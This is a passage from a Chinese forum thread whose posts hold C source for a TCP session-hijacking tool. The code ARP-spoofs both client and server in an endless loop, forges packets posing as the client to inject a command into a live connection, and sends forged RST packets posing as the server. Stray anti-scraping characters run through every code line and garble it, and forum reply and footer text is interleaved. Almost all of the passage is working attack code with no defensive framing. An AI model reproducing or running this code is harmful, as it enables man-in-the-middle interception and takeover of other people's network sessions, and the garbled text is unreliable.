  PCONNINFO  pNew, pTmp; + M2 @" l5 C$ n1 [% I; @

5 s9 s" g# C! |, y. E; d  pTmp = g_pConnHead;
' n2 F9 p) A, u  while(pTmp)
# W& p: D: |/ _; Y7 v  { * L5 U( W. G# g* Y: H: S7 h6 \5 o
    if(pTmp-&gt;bActive)
3 k2 w' t) B* H5 b! L    {
" Q4 ~- b# K" u      //found it
/ r. q8 A. ^( E% d/ T      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
  ~- \% y6 C& E        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp; " L$ w' R( }7 w: G+ [
        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
, U( O. F- N9 P9 u        (pTmp-&gt;uClientPort == uClientPort) )
, C  I* `: t0 a( r      {
7 ]4 J) W2 a: i1 b0 }3 Q        if(bDelete)
) O+ U% r5 ?% M# w        { 9 R2 v5 N) q, [. c% D' v. V
          pTmp-&gt;bActive = FALSE; - C3 W+ G, n. j- O- v2 S
          return 0; # ~' a; P- U# {4 Y, L; z6 U
        }
; o* C7 I1 \  M        else return pTmp-&gt;ident; - u5 h! f8 B, S, E" A
      }
# f: y! d* L1 ~    }
$ D* J( ~4 O/ X4 W    pTmp = pTmp-&gt;Next;
4 N* J$ E: V3 p+ J- {  } 4 N! a0 G3 i% E8 R! f/ c
  //not found, create new node
2 C6 _4 ]+ e$ L8 U  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) ) % W. e8 y5 J9 ]  I. w
  { . x* o* s3 z1 c: G, a
    //search unactive note
& d& g4 H8 c7 Z9 \3 y) O    pTmp = g_pConnHead;
! Z7 |* i/ G' q, k8 [    while(pTmp) 9 i+ r% I' T7 ?* J( [2 s
    {
) @7 s7 D' J2 F) J      if(!pTmp-&gt;bActive) break; 8 V7 {0 h  Y7 ~) F7 |; B8 V
      pTmp = pTmp-&gt;Next;
4 V8 f4 y* K- n2 C6 u0 N! [    }
% X2 c* l: O/ p8 ]! @    //found a unactive node 6 V$ @6 j1 w/ _9 G
    if(pTmp) 9 H7 m$ n! A+ U  H, m
    { ! R5 s- M! o0 t7 Z
      pTmp-&gt;dwServerIP = dwServerIP; * @& s! `# I! g" K" a1 N; j1 @
      pTmp-&gt;uServerPort = uServerPort; 7 g3 Y* O2 L+ v" |9 ?: R
      pTmp-&gt;dwClientIP = dwClientIP;
$ m7 [! m% N  e( x1 ^. i      pTmp-&gt;uClientPort = uClientPort;
$ _% S' e' F. t6 {" a      pTmp-&gt;bActive = TRUE;
% o' e% n8 C+ K" W) z3 [2 O      return pTmp-&gt;ident;
1 N6 @  |& G/ o6 O, Y  ^2 x    }
# B5 l6 A% A! P3 I" b4 ]: U  L, {    //not found,create new node
, @' h4 K, P* N    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); 6 a/ b( o( D# _: G. u/ C7 x
    if(!pNew) 0 N' X" b# [1 c, R( b& g
    { . s- t: i. |; H7 P1 |" `
      printf("malloc for link node error:%d\n", GetLastError()); 7 e5 K% F* B; s
      return 0; 2 c$ L, s; A+ E' a9 c
    } ( ]5 q% B& P" S# t3 l
    //fill the struct 1 ^9 U, l' D, \* P# }7 H+ S
    pNew-&gt;bActive = TRUE; 7 Y( c/ z% X1 Q: ^) S
    pNew-&gt;dwServerIP = dwServerIP;
  `5 v" T) H9 N2 y    pNew-&gt;uServerPort = uServerPort;
' [4 ^3 f: c8 o    pNew-&gt;dwClientIP = dwClientIP; " p& n  A6 Q& i! A# C% u! F
    pNew-&gt;uClientPort = uClientPort; # c$ r' u2 Z0 Y$ P
    pNew-&gt;ident = ++g_ident; 3 G- T) r+ r9 E; ~5 d2 e9 e' ~2 a
    pNew-&gt;Next = NULL;
4 E% W+ _% t- L& I* x5 I' |    //add new node to link
3 _2 z* ~- }* Y    if(!g_pConnHead) . o7 h& l9 N, i$ d+ \* ]
      g_pConnHead = g_pConnLast = pNew;   f9 v4 t4 l' q' C1 A+ W* w# v
    else 0 E# V0 i! W! F) j$ j) m8 y
    {
( R; D& G6 T6 ~' d0 z! B      g_pConnLast-&gt;Next = pNew;
: D' K) m# C1 R: P      g_pConnLast = pNew;
! Z( X" I( o; z+ S& v$ W1 e    }
. X0 `* ~& {0 ~    return pNew-&gt;ident;
; P; _  ?5 Q4 w. S* G  } 5 F; I, s1 s+ v
  return 0;
9 z2 d( ~! }. j* C! k# H3 u2 F) T}
9 r5 ?. f, \% t; j( W* k1 T( j! X
//
( l& ]+ h# w4 W$ [/ [; x, P3 {//功能:判断一个数据包是不是只有ACK标志
8 \$ ]6 f& Z% e5 @! @- q- ?1 }//
/ {) d0 H! b( h3 _' V" gBOOL IsACKPacket(unsigned char flag)
6 h7 f$ U/ N( A1 d* l{ 1 b* H4 @' k. s
  int  i, j=1;
3 h/ f8 J& a& L1 o: S  for(i=0 ; i&lt;4; i++)
3 N+ Q/ g/ m9 q  { 9 z1 I6 Q% l. L) `7 e$ r5 S  @
    if(flag &amp; j) return FALSE; 4 a0 ^1 h( C3 ~  y
    j &lt;&lt;= 1;
' f7 X! r1 L$ a3 f/ W5 |! w" ]  } + ]* A' |; A7 v8 ]
  if(!(flag &amp; 0x10)) return FALSE;//is ack? . J4 T* r% S7 l* C3 i) v2 l
  if(flag &amp; 0x20) return FALSE;
5 _. Q  M9 }+ ]3 M  return TRUE; - A3 K" O: |1 X4 S* |
} ! E% t+ \( @* s8 n4 ?) z5 D0 n0 B
. x3 S, h4 g3 L5 x! N" q6 k0 R' A
// 9 B' v) y, S$ M/ W
//功能:伪装成Client给Server发送数据包
- l7 r% _% J" l* q//
, ]" n, @& s' Z& `* D9 m! {BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)   `( ^0 N* q6 m  K
{
. t) l2 M& M/ B; v# }, g! x7 p4 o7 Y0 P) R- S
  char    szBuff[1520];
- m- s: Y4 q$ _+ [% Y; u  PSDHDR    psdhdr; - p3 Y# B& A% ]  h. W
  PTCPPACKET  pHiJackPacket = NULL; 0 w0 z9 l6 [& `$ g$ c, ~# \# ~
  BOOL    bRet = FALSE; 5 c7 C1 \& E  \% D6 Z& d9 W6 @0 H
, [3 l$ ^- a& E1 W2 S
  __try
0 P# \) \% }* ?$ i  w  {
2 L+ k0 D; `! ?: F    //
/ y7 m0 x: z. B7 l1 L7 g    if(!g_pCurrCtrlConn) __leave;
7 q" Q- Z7 Y4 M) j5 `; |    //allocate memory for hijack packet ' a" z6 m0 M% ~+ G% |# U0 K
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); 9 F4 N8 B& c% L/ [: b$ H
    if(!pHiJackPacket) 8 |. K9 d: Z* Z& N& Z- I
    {
% K; h3 v# s. J! P+ L  S# @      printf("malloc error:%d\n", GetLastError());
& T: X2 p0 V1 t! m7 Y      __leave; + D& Z) x; d* _, p( D. y, m
    }
2 o( A. ]; z! x  |3 A  O7 c, Y% G    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
2 d3 c- s9 ]9 `4 t    //-------------- modify the packet ---------------// % }. q# m1 k7 o, K6 i5 O
    //modify ethernet head
: Y; D3 @2 A% @2 S; J    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6); " u2 @0 G9 X1 Q* g# V
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); * e: ^7 c8 c: t5 p
    //modify ip head
% n% J4 S  z4 g0 b    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); ! Q& }9 B+ _; E; C; T
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); , ]% r+ [8 Y; x5 \4 y
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
; k$ Q2 t; U& P    pHiJackPacket-&gt;iphdr.checksum = 0; 0 T! `4 m& Z0 W0 I
    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client
, U4 I9 X/ n$ ^. R; g8 O    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址 6 C+ v2 b" ]& E/ ]0 j' d
    //modify tcp head ) s- T8 r* j2 {. @# R+ ~% E9 f
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
* c1 Y* r, B4 o6 n6 z8 t- J$ K# e$ s( d    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port 7 K) v- q/ I# B+ I3 F/ v
    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); : ]: w7 _3 A6 [, S
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
. c2 |: W) h( X9 l    pHiJackPacket-&gt;tcphdr.th_sum = 0;
, e, {" |! {4 o2 L    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44; 6 Q: d9 |& J6 }% ^. w
    //fill tcp psd head
* L; e. c# l5 ?, T5 t    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
, R/ R9 E, g- v: r    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
! N) M, b0 m& f  Q" j    psdhdr.mbz = 0;
- Z# ]% }: x6 \! j5 c    psdhdr.ptcl = IPPROTO_TCP;
0 i8 Z) z& K( i/ ~6 I/ y' v    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len $ p, j; K; Z' j( U+ D
    //calculate tcp checksum     
; C- G* j! Y: \9 \! i% s9 s0 M; {/ u    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
- n5 k4 d& D7 y) R8 f+ a* P    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR)); 0 F* ]2 d/ b$ [" F6 z
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
# d$ u+ V8 G; a. `    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); 9 ]1 r3 Y4 n4 }- s$ `% N
    //calculate IP checksum . q4 o' a2 k; G2 p) w3 \& D1 x
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
* Z$ t$ H* D% m8 z8 s6 u    //fill send buffer           7 e: C0 \- }' V
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 5 W9 c" {. t! l. `
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); ; {8 u; z2 ?7 E, l. A
    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); 2 k/ ]( E/ M/ }' i5 ]) w2 z
    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
& R& p0 a8 M% d9 ]( a; p# u% h- U2 P  T    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
3 P3 m4 ]1 ^7 T: k9 Q    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
- {# j7 t; j+ C4 o- f. ~    { 9 y/ h' Q/ B2 f, w
      printf("Error sending the hijack packets!\n");
! q. P. R7 G- y1 ?! P& E      __leave; " I2 }4 B# k. x% M0 _$ Q: t
    }
; V& C+ @8 s0 f# v    else printf("Send hijack packet ok!\n"); - M( B$ ~% A. T8 F' V
    bRet = TRUE; 1 I$ V" ~1 ?$ R8 @% Y0 E+ b
  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally / N( r2 ^) h- ^! @  V: s# _4 `
  {
$ o3 \' N7 t* J: h4 }) Y+ d% e3 e    if(pHiJackPacket) free(pHiJackPacket);
7 r6 ^4 X, a# ^) V  }
$ k- z5 C+ `* C/ _' E) w, ]+ `& ]  return bRet; # r8 g9 }$ O) @) v7 ^  ?) S, t
} ; t0 ~) ~! D6 ]

1 O% d9 K  H; P7 a
& g; U( g$ R0 \// % f6 e# [. k! L- U- E* U
//功能:伪装成Server给Client发送rst包 # t4 X* z7 k$ H& [6 D& s2 [( \
// . ]& ?8 q  i' [) W( }
BOOL SendRstPacket(unsigned int seq, unsigned int ack) ' f, ]8 U; j% w' H; B# L- Z
{
) X% v, g: Q9 U- h+ s9 x9 `  char    szBuff[60]; : |! f' P" z* y2 _) B( j" m# ?% |
  PSDHDR    psdhdr; - l$ _; ^; h4 B
  PTCPPACKET  pTcpPacket = NULL; ( U! R9 G6 R( X9 E' h
  BOOL    bRet = FALSE;
5 ]2 I3 s! p; I3 k8 g3 t& M0 r/ T; V/ {& ~* ^& K: B' \3 |
  __try
) Y6 Y& d. U" x  {
6 i1 [0 ]7 j& G! P( n& ?" v  L    //检查当前指向想控制的连接的信息的指针是否为空 7 f' ^! t6 o' R+ ?) w3 D/ L5 P
    if(!g_pCurrCtrlConn) __leave;
: E, S$ p9 t  o* K% D    //allocate memory for rst packet # T% r2 ^% F7 Y# X! h7 d
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); : h: F3 S* K& [; @' g% s
    if(!pTcpPacket)
2 Q4 ?& r. Y4 u8 g& y7 I2 G    {
" K- `  m! [+ y( @  `8 L3 `/ l1 Y      printf("malloc error:%d\n", GetLastError()); / x: S$ M6 F" R
      __leave;
( q* K2 e  Q* p2 w& o6 [7 n) U. r1 }% r  ?    } 7 ]# D$ |7 d$ l/ q- i# A- s) f; f" T
    //fill ethernet head
# L4 V0 u% o& Z2 f! ?    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6); : A; z" U$ g8 ?* w4 e' G1 Q
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
" y2 @9 K4 j3 x" C' w4 A    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP); , x4 c+ i6 d# k% p0 i# ]' W' V: b6 _$ g
    //fil ip head
3 ~3 n1 d/ p, ]1 ^    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); . G6 B/ ^& p# ~* ^1 c8 F1 v
    pTcpPacket-&gt;iphdr.tos = 0;
! _. H0 ~0 W$ K/ `' W5 `    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); ) p9 i, B" m: S0 X& X
    pTcpPacket-&gt;iphdr.ident = 1; 7 n2 X/ x) y' h) {& X) {* E( |
    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
( f$ N% L* L; B2 [& T) F7 b    pTcpPacket-&gt;iphdr.ttl = 128;
1 ]3 d; v& Y8 E3 j    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP; 0 v0 m  t7 \# r* P' O
    pTcpPacket-&gt;iphdr.checksum = 0; : @9 X7 V; f8 d* V4 `
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 - X  `$ `7 c  K: ~8 r- w. z; h
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
2 h7 p, B- y8 T2 W& F' U# u1 c    //fill tcp head * {8 U+ |- @+ l) I  Q: S* P
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口 / [8 l- S9 F% H7 @& x
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
; |% ]  [- A7 C- k" L. ^    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN 8 |7 T$ V" z! o$ R
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK ) S" R/ r. c5 X% o9 f
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
4 X# [/ E8 h; ^! z0 U/ Z3 b3 g" i& J    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
( D  a! ]2 n# @5 |, V9 E1 j    pTcpPacket-&gt;tcphdr.th_win = 0;
; P/ X0 F( i2 X/ Z( o  ?$ S    pTcpPacket-&gt;tcphdr.th_urp = 0;
5 V5 p6 q6 J- x( _# Q6 f$ m    pTcpPacket-&gt;tcphdr.th_sum = 0;
# e' m* H7 z6 d    //fill tcp psd head
$ ]: H3 V# h+ v. {" B) P* A5 l    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
: P) h% u$ ~. J    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           + D5 M- [3 c" @: w  ]: F7 x
    psdhdr.mbz = 0; 3 t" A. \3 I# j7 R+ n* @& ~
    psdhdr.ptcl = IPPROTO_TCP;
- e3 d1 M; J& K4 o    psdhdr.tcpl = htons(sizeof(TCPHDR)); % |  s' y* V* ]- @% }
    //calculate tcp checksum     
0 _7 ?# x" L6 r# p5 Y' }    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
) I' J  b# e% @  q: G9 z6 y4 D7 d: @" Z    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR)); : J2 u/ k. d% r, P8 j
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
- E- J" I) x0 l    //calculate IP checksum ' ^& A# N3 P, O9 N5 }9 _" A
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
9 E4 S, q' [0 B    //fill send buffer
9 F* b' _9 O9 n9 C, d    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
9 Z" {5 d7 t3 g! _% N    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
5 `' ~" S, u. A    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
! T9 P+ r( F4 T5 B    { . q8 w0 h0 u6 Z0 q' I+ v! W
      printf("Error sending the rst packets!\n");
6 z! j& j# m3 ~6 L9 M- e      __leave; 0 R3 I* y" V9 X
    } 7 ^2 J) `, K9 u! S8 B1 {9 z
    else printf("Send RST packet ok!\n"); ) m( Y% Z2 k6 k* D- I
    bRet = TRUE;
3 o& Y( g0 e6 U. a  } 3 k- J1 z3 A/ G$ r& k
  __finally ' o/ S$ _7 t' o
  { : f& ]) s. B: r: R5 J6 L$ K
    if(pTcpPacket) free(pTcpPacket);
$ t( w& M, k1 t  }
" D% s9 H7 f' O: y  return bRet; ! L. K$ N2 d+ }& V# ?- _
} 1 {/ K# I* [& Q: I! _- F. S! m( o% x
; Y( ]7 V7 P% u! B) w; z
//
( L; ^9 R) H6 P8 u  w//功能:计算校验和
7 G- x7 T+ }: y  a( x8 @9 r4 l//
9 z$ [% L  g7 g1 t# u2 j, i8 |! DUSHORT checksum(USHORT *buffer, int size) % Q+ z. t0 C7 Z; [! }4 w* }
{
" B% `6 J# m# @; h) }$ w unsigned long cksum=0; 0 j, f" i7 n. T, e+ s- A
while(size &gt;1) {
  R1 `, ?' z: f+ k  cksum+=*buffer++;
$ ^2 J, A. W* q8 z* f$ [$ U  size -=sizeof(USHORT);
1 O- a% y! u3 ^( \! [ }
9 t: D; E( ~6 z; M! A if(size ) {
: m8 J+ T. d8 y3 l" m8 q% ^  `  cksum += *(UCHAR*)buffer;
8 M; S# Z: J' k6 m- e8 z0 Q } " w$ v" U, D7 x% K
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
6 y( W9 u0 o% e: s. O cksum += (cksum &gt;&gt;16);
( s  V8 Q+ M& o return (USHORT)(~cksum); # J6 Z7 i7 q/ j' h* X% a
}
1 S6 E/ `+ [( X, b9 X9 V4 q
& t( Q) X$ Z" c! E" L3 E//
( F0 z* f+ v. b* y//功能:实施ARP欺骗 ! O0 U  @7 a5 I( Y
//1 告诉ServerSide,ClientSide的mac是ownmac
) R' L, G! K& _& ~" x, Q- i//2 告诉ClientSide,ServerSide的mac是ownmac
, c9 f# H. s, E- j9 k1 z// 8 g# S9 ]& {( x, H$ d, U2 k/ H  C0 }
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
/ E' Q7 ?# ^. y- O{
: O; A& f) h7 g5 W" ]! |/ \, T  int  iType = *(int *)lpType; ; Z' j) Y) r7 i
  ARPPACKET  ArpPacket;
6 I; Y9 [# U/ `7 K4 }4 F6 U  LPPACKET  lpArpPacket; : l/ |7 _' C, p4 C6 h- ^! E
  char    szArpBuff[60]; 4 ~( E- @6 i/ @' k) T% h

# d' h' \& y& u8 }2 {2 {  switch(iType)
) ?. W0 N! V5 B! R  {
( g0 O6 N6 S, M& Y    case 1: 7 d& a) @/ y$ z5 W, H5 k
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
) d) @6 C5 p7 f: P& e* Z/ Z      ArpPacket.arphdr.DestIP = g_ServerSideIP; - y' Q$ J8 u4 R1 d
      ArpPacket.arphdr.SourceIP = g_ClientSideIP; ! C1 r+ i6 J7 {6 f* m
      break; $ M  \9 s# B. f( g0 L
    case 2:
* x3 j, |/ N0 l, m$ t& |& N/ r      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
" j  S* H8 Z  v3 \6 y      ArpPacket.arphdr.DestIP = g_ClientSideIP; ( r1 D; ?4 q  S  g1 _. @
      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
" u% r* E& f+ X# P3 a      break; 1 t  l$ J5 N9 U  q2 G5 u
    default: + J$ N) C8 i& c4 I
      return 0;
, a& t5 ^% X# v2 [3 f  } & S& \& [6 h  F+ U7 B
  //ethernet head
6 z. P0 Y3 X1 _  h& j* Q  Y) F  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); + x& H6 @$ w: t' {. A2 F5 I! ?: L9 I
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type $ g. U3 J: s2 p, g% w6 Z
  //arp head
  D* l0 S5 n% q2 M8 P) t0 ?8 r  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
: x8 ^( s5 h* q  I8 p! N  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac : Z& Z# t' x6 u6 D* G7 E
  ArpPacket.arphdr.HrdAddrlen = 6; ) O9 M3 B7 k+ c3 T1 F2 c' r5 u' ~
  ArpPacket.arphdr.ProAddrLen = 4; 0 H. ~, [3 b- a* T7 }6 n
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
$ n& l, ~# b* y+ E4 _7 T  ArpPacket.arphdr.ProType = htons(EPT_IP);
, F) X' o! T- ?& s  ArpPacket.arphdr.op = htons(2);//arp reply
7 H2 @7 {; n2 |$ Q5 B
& M) U( n. U9 r1 l& `  lpArpPacket = PacketAllocatePacket(); - r7 N" ?5 q: \7 o& M  _0 Q
  if(lpArpPacket == NULL)
7 y& C, o. h9 i  { 8 h: \' F/ C9 I5 V" C) K6 u
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); : T; U9 T3 J: j1 {! V7 r
    return 0; 3 B( O& ~) M7 K9 C- {
  }
. `9 L4 b, D: f2 W, Y8 h  memset(szArpBuff, 0, sizeof(szArpBuff));
& p: s" d- u6 E" p5 N  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); - i% U; G# W6 j5 _3 G
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
' B4 a+ k$ s' k5 }% ]9 k" E  //send arp packet % R' D7 m) f6 R0 }6 Y0 Q9 w
  while(1) " y! c% E/ c0 m5 u: R: Y& r
  { 2 V+ P& X  m) j) n, k" U" o2 @/ k# t
    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) , K3 o: Z' E. o+ e5 n7 f  j6 n, a
    {
0 T) C" B! T/ _6 |4 ~6 \, \      printf("Error sending the arp spoof packets!\n"); . [( G' B2 d9 n3 I1 Q, S, i+ \
      return 0; 8 ?5 G& K- K# }( a# F
    }
% u2 ~+ C: ^) q4 ^6 ~0 M3 f    Sleep(1000);
6 ?) m! s2 y4 j, P  }
2 P& A4 V2 r) @2 K3 O  K  C7 s* n  return 0;
; F1 ^( y% p% m4 ?} / L' N! x$ A5 O- F) T+ y
1 ~1 }. x6 {7 t& I
//
( K9 N* H+ p* E" k  j* u//功能:输入IP取得对应的MAC地址 ( `# c, ]: t0 O
//
4 \" I  o8 V4 O8 I& `! h0 L7 b1 QBOOL GetMACAddr(DWORD DestIP, char *pMAC)
6 I# X" [3 R# m1 x5 x8 u" j) s{
7 ~' O# b' Y. _1 k3 H  DWORD  dwRet; 5 u, S/ t% K! ~! n
  ULONG  ulLen = 6, pulMac[2]; 9 m) ~/ G' _/ [% v% A: v+ R5 v+ B
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen); * ^4 M1 A( X1 B+ R" T. `
  if(dwRet == NO_ERROR)
7 b9 |# T: G2 w. A9 Y" \$ f  { 1 {; c8 e  S8 E1 l, u
    memcpy(pMAC, pulMac, 6); 8 i) b/ B; n# g
    return TRUE; 0 w( \) D  L2 i
  }
3 U+ o! f' b( |" M+ t  else return FALSE;
$ E4 S( o- \$ P}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-6-11 08:53 , Processed in 0.428261 second(s), 91 queries .

    回顶部